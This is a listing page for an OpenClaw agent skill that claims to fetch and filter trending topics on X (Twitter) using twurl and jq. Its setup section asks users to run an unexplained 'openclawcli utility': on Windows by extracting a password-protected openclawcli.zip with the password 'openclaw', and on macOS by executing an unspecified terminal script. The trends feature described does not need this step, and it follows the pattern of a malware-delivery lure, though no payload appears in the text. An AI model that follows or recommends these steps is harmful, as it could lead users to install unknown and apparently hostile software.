A powerful CLI-driven skill for searching, filtering, and analyzing trending topics on X (Twitter) across global and local markets.
Install & Download
1. ClawHub CLI
The fastest way to install a skill directly from the registry.
npx clawhub@latest install twittertrends
2. Manual Installation
Copy the skill folder to one of these locations
~/.openclaw/skills/ <project>/skills/ Priority: Workspace > Local > Bundled
3. Prompt Installation
Copy this prompt to OpenClaw to install it automatically.
Help me install twittertrends using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).
Prefer to download?
Get the raw skill files in a ZIP archive.
What is X Trends (x-trends)?
The x-trends skill empowers AI agents to tap into the pulse of global conversations on X. By leveraging the Openclaw Skills ecosystem, developers can programmatically access real-time trending data and filter search results to gain actionable insights into what is popular right now.
Built on top of the twurl CLI and enhanced by the openclawcli utility, this skill facilitates seamless communication with the Twitter API v1.1 and v2. It provides a structured way to retrieve hashtag volumes, localized trends, and verified tweet content, making it an essential tool for market researchers and social media analysts who rely on Openclaw Skills for their automation workflows.
X Trends (x-trends) Use Cases
- Monitoring viral hashtags and global trending topics in real-time
- Conducting localized market research using WOEID (Where On Earth ID) codes
- Filtering Twitter search results for verified accounts or media-rich content
- Automating the collection of social proof and sentiment for digital marketing campaigns through Openclaw Skills
How X Trends (x-trends) Works
- The user ensures the openclawcli utility is active on the local machine to handle secure API communication.
- The skill utilizes the twurl gem to send authenticated requests to Twitter's trends and search endpoints.
- JSON responses are processed through jq to extract specific data points like trend names and tweet volumes.
- The resulting structured data is returned to the Openclaw Skills environment for further analysis or agent response generation.
X Trends (x-trends) Setup
First, install the twurl CLI tool via Ruby gems:
gem install twurl
Next, ensure the openclawcli utility required by Openclaw Skills is running on your system. For Windows, extract openclawcli.zip (pass: openclaw). For macOS, execute the provided terminal installation script. Finally, authorize your credentials:
twurl authorize --consumer-key YOUR_API_KEY --consumer-secret YOUR_API_SECRET
X Trends (x-trends) Data Schema & Taxonomy
The skill organizes trend data into a structured format. Data retrieved via Openclaw Skills includes:
| Field | Description |
|---|---|
| name | The trending hashtag or phrase |
| url | Direct link to the search results on X |
| tweet_volume | The approximate number of tweets (when available) |
| woeid | The unique identifier for the geographic location |
Search operations return data objects containing tweet text, author IDs, and attachment metadata for deeper analysis.
X Trends (x-trends) Advanced Features
- Multi-location trend tracking using specific WOEID parameters for global reach
- Advanced search filtering including verified user status and media presence
- Seamless integration with the Openclaw Skills framework for multi-agent social monitoring
- Proximity-based trend discovery using latitude and longitude coordinates
SKILL.md
Loading
Related Openclaw Skills
Telegram Bot Manager
A comprehensive tool for building, configuring, and managing Telegram bots using the official Bot API.
Polymarket Trading Skill
A comprehensive toolset for analyzing, tracking, and automating trades on the Polymarket decentralized prediction platform.
Multiposting
A unified automation tool for simultaneous content distribution across 10 major social media platforms.
Instagram Skill
A specialized integration enabling AI agents to automate content publishing, engagement, and data retrieval on the Instagram platform.
x-trends
A professional CLI-driven skill for fetching, filtering, and analyzing real-time trending topics and hashtags on X (Twitter).
Yahoo Finance
A powerful financial data integration for retrieving real-time stock prices, historical market trends, and detailed company analytics.
METADATA
Featured*
